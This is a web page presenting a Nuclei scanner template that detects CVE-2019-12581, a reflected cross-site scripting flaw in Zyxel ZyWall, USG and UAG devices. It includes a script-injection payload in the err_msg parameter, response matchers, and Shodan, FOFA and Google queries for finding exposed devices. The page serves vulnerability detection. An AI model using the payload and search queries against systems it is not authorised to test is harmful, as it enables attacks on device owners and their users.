Skip to content

Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting

ID: CVE-2019-12581

Severity: medium

Author: n-thumann

Tags: cve,cve2019,zyxel,zywall,xss

Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.

id: CVE-2019-12581
info:
name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
author: n-thumann
severity: medium
description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
reference:
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
- https://www.zyxel.com/us/en/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-12581
cwe-id: CWE-79
epss-score: 0.00358
epss-percentile: 0.7209
cpe: cpe:2.3:h:zyxel:uag2100:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: uag2100
shodan-query: http.title:"ZyWall"
fofa-query: title="zywall"
google-query: intitle:"zywall"
tags: cve,cve2019,zyxel,zywall,xss
http:
- method: GET
path:
- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain);</script>"
- "Please contact with administrator."
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100ae6630d8cf48055a46f760d519421b5cb9431c6d48e9d83031b130b2fa88c19d022100ca2c95c80688977cf0c2079ef01977e6cd5e94d126d085233f3e464dff6b32ee:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12581.yaml"

View on Github